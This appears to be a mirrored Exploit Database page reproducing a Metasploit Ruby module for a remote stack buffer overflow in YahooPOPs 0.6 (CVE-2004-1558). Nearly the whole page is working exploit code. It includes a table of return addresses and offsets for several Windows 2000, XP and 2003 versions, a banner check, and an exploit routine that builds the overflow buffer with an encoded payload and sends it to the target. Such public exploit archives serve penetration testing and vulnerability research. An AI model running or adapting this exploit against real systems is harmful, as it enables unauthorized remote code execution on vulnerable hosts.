YahooPOPs (YPOPS) 0.6 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16818/

• ##
  # $Id: ypops_overflow1.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Smtp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'YPOPS 0.6 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the YPOPS POP3
  				service.
  
  				This is a classic stack buffer overflow for YPOPS version 0.6.
  				Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
  				jmp ebx opcode in ws_32.dll
  			},
  			'Author' => [ 'acaro <acaro@jervus.it>' ],
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-1558'],
  					[ 'OSVDB', '10367'],
  					[ 'BID', '11256'],
  					[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
  				],
  			'Platform' => 'win',
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1200,
  					'BadChars' => "\x00\x25",
  					'MinNops'=> 106,
  				},
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
  					[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
  					[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
  					[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
  					[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
  					[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
  					[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
  					[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
  					[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
  					[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
  					[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
  					[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
  				],
  			'DisclosureDate' => 'Sep 27 2004'))
  	end
  
  	def check
  		connect
  		disconnect
  
  		banner.gsub!(/\n/, '')
  
  		if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
  			print_status("Vulnerable SMTP server: #{banner}")
  			return Exploit::CheckCode::Detected
  		end
  
  		print_status("Unknown SMTP server: #{banner}")
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		pattern =
  			rand_text_alpha(target['Offset'] - payload.encoded.length) +
  			payload.encoded +
  			[target.ret].pack('V') +
  			"\n"
  
  		print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
  
  		sock.put(pattern)
  
  		handler
  		disconnect
  	end
  
  end